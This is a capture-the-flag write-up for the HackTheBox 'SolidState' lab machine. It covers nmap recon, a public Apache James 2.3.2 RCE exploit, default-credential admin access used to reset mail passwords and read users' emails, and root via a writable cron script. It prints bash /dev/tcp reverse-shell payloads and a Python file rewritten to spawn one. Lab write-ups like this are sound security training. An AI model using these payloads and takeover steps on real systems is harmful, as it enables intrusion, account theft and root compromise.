An easy Linux box from HackTheBox, use an RCE combined with POP3 email compromise to get initial access, and exploit a misconfigured cron python script running as root to escalate privileges.

Recon

Usual nmap

georgy@pop-os:~/Documents/htb/solidstate$ sudo nmap -sC -sV -Pn -oA nmap/init 10.10.10.51

PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
| ssh-hostkey: 
|_  256 e445e9ed074d7369435a12709dc4af76 (ED25519)
25/tcp  open  smtp    JAMES smtpd 2.3.2
|_smtp-commands: Couldn't establish connection on port 25
80/tcp  open  http    Apache/2.4.25 (Debian)
|_http-server-header: Apache/2.4.25 (Debian)
110/tcp open  pop3    JAMES pop3d 2.3.2
119/tcp open  nntp    JAMES nntpd (posting ok)
Service Info: Host: solidstate; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Try the versions of the services in searchsploit, see theres a RCE on James smtpd 2.3.2

georgy@pop-os:~/Documents/htb/solidstate$ searchsploit james

...

Apache James Server 2.3.2 - Remote Command Execution                  | linux/remote/35513.py
Apache James Server 2.3.2 - Remote Command Execution (RCE) (Authentic | linux/remote/50347.py

...

Reading the exploit it allows for RCE whenever a user logs in (like via SSH), running the script with and starting a nc listener on 4444

Exploitation

Since the exploit only works when someone logs in, might as well send it off and see if we can wait for someone to log in, or find some creds ourselves elsewhere on the box

georgy@pop-os:~/Documents/htb/solidstate$ python2.7 50347.py 10.10.10.51 10.10.14.13 4444

('[+]Payload Selected (see script for more options): ', '/bin/bash -i >& /dev/tcp/10.10.14.13/4444 0>&1')
('[+]Example netcat listener syntax to use after successful execution: nc -lvnp', '4444')
[+]Connecting to James Remote Administration Tool...
[+]Creating user...
[+]Connecting to James SMTP server...
[+]Sending payload...
[+]Done! Payload will be executed once somebody logs in (i.e. via SSH).
("[+]Don't forget to start a listener on port", '4444', 'before logging in!')

Inside the file see:

...

try:
    print ("[+]Connecting to James Remote Administration Tool...")
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect((remote_ip,4555)) # Assumes James Remote Administration Tool is running on Port 4555, change if necessary.

...

The script logs into the management port of Apache James , port 4555 with default creds root:root, double check with nmap

georgy@pop-os:~/Documents/htb/solidstate$ sudo nmap -sV -p- -v -T4 10.10.10.51
[sudo] password for georgy: 
Starting Nmap 7.93SVN ( https://nmap.org ) at 2022-10-07 14:09 EDT
NSE: Loaded 45 scripts for scanning.
Initiating Ping Scan at 14:09
Scanning 10.10.10.51 [4 ports]
Completed Ping Scan at 14:09, 0.07s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 14:09
Scanning solid-state-security.com (10.10.10.51) [65535 ports]
Discovered open port 110/tcp on 10.10.10.51
Discovered open port 80/tcp on 10.10.10.51
Discovered open port 22/tcp on 10.10.10.51
Discovered open port 25/tcp on 10.10.10.51
Discovered open port 119/tcp on 10.10.10.51
Discovered open port 4555/tcp on 10.10.10.51

And see the 4555 port open

Lets try to connect and authenticate to see what we can do

georgy@pop-os:~/Documents/htb/solidstate$ telnet 10.10.10.51 4555
Trying 10.10.10.51...
Connected to 10.10.10.51.
Escape character is '^]'.
JAMES Remote Administration Tool 2.3.2
Please enter your login and password
Login id:
root
Password:
root
Welcome root. HELP for a list of commands
HELP
Currently implemented commands:
help                                    display this help
listusers                               display existing accounts
countusers                              display the number of existing accounts
adduser [username] [password]           add a new user
verify [username]                       verify if specified user exist
deluser [username]                      delete existing user
setpassword [username] [password]       sets a user's password
setalias [user] [alias]                 locally forwards all email for 'user' to 'alias'
showalias [username]                    shows a user's current email alias
unsetalias [user]                       unsets an alias for 'user'
setforwarding [username] [emailaddress] forwards a user's email to another email address
showforwarding [username]               shows a user's current email forwarding
unsetforwarding [username]              removes a forward
user [repositoryname]                   change to another user repository
shutdown                                kills the current JVM (convenient when James is run as a daemon)
quit                                    close connection

And see that we can

  • List users
  • Reset user passwords

So, lets list all the users and reset their passwords :)

listusers
Existing accounts 6
user: james
user: ../../../../../../../../etc/bash_completion.d
user: thomas
user: john
user: mindy
user: mailadmin
setpassword james 123
Password for james reset
setpassword thomas 123
Password for thomas reset
setpassword john 123
Password for john reset
setpassword mindy 123
Password for mindy reset
setpassword mailadmin 123
Password for mailadmin reset

Can also see the new user created by the exploit, lets not mess with that

Now we can try to ssh in as these users, but it doesn’t work, instead lets see if we can read their emails

Going down the user list:

# james has no emails

USER james
+OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready 
+OK
PASS 123
+OK Welcome james
LIST
+OK 0 0
.

# thomas has no emails

USER thomas
+OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready 
+OK
PASS 123
+OK Welcome thomas
LIST
+OK 0 0
.

# john has an interesting email
USER john
+OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready 
+OK
PASS 123
+OK Welcome john
LIST
+OK 1 743
1 743
.
RETR 1
+OK Message follows
Return-Path: <mailadmin@localhost>
Message-ID: <9564574.1.1503422198108.JavaMail.root@solidstate>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Delivered-To: john@localhost
Received: from 192.168.11.142 ([192.168.11.142])
          by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 581
          for <john@localhost>;
          Tue, 22 Aug 2017 13:16:20 -0400 (EDT)
Date: Tue, 22 Aug 2017 13:16:20 -0400 (EDT)
From: mailadmin@localhost
Subject: New Hires access
John, 

Can you please restrict mindy's access until she gets read on to the program. Also make sure that you send her a tempory password to login to her accounts.

Thank you in advance.

Respectfully,
James

We see that mindy should have a default password, lets see if its in her email

Subject: Your Access

Dear Mindy,


Here are your ssh credentials to access the system. Remember to reset your password after your first login. 
Your access is restricted at the moment, feel free to ask your supervisor to add any commands you need to your path. 

username: mindy
pass: P@55W0rd1!2@

Respectfully,
James

And it is! mindy:P@55W0rd1!2@

The email said that mindy’s access is limited, so following the exploit, lets start a listener on 4444 and when we login, should have full access with a reverse shell as mindy

georgy@pop-os:~/Documents/htb/solidstate$ ssh mindy@10.10.10.51

# And get a shell!

georgy@pop-os:~/Documents/htb/solidstate$ nc -lnvp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.10.51 34782
:~$ whoamihroot:+($debian_chroot)}mindy@solidstate:
whoami
mindy

The shell is pretty broken, but it works enough to stabilize the shell with python

Now starting usual enumeration, dont find too much, lets run pspy to see if there is anything we are missing

Transfer the pspy32 file over, and chmod it to run

${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ ./pspy32

...

2022/10/07 14:45:01 CMD: UID=0    PID=18518  | python /opt/tmp.py 
2022/10/07 14:45:01 CMD: UID=0    PID=18519  | sh -c rm -r /tmp/*  
2022/10/07 14:45:01 CMD: UID=0    PID=18520  | rm -r /tmp/* 

See there is a script in /opt being run every couple of minutes with UID=0 - i.e. run as root, and find we have write privilege on it, so replace the rm command with a reverse shell

bash -i >& /dev/tcp/10.10.14.13/9999 0>&1

And save the file as

#!/usr/bin/env python
import os
import sys
try:
     os.system('/bin/bash -c "sh -i >& /dev/tcp/10.10.14.13/9999 0>&1"')
except:
     sys.exit()

Start a listener on 9999, and wait a couple minutes for the script to get executed, and get root!

Connection received on 10.10.10.51 57416
sh: 0: can't access tty; job control turned off
# whoami
root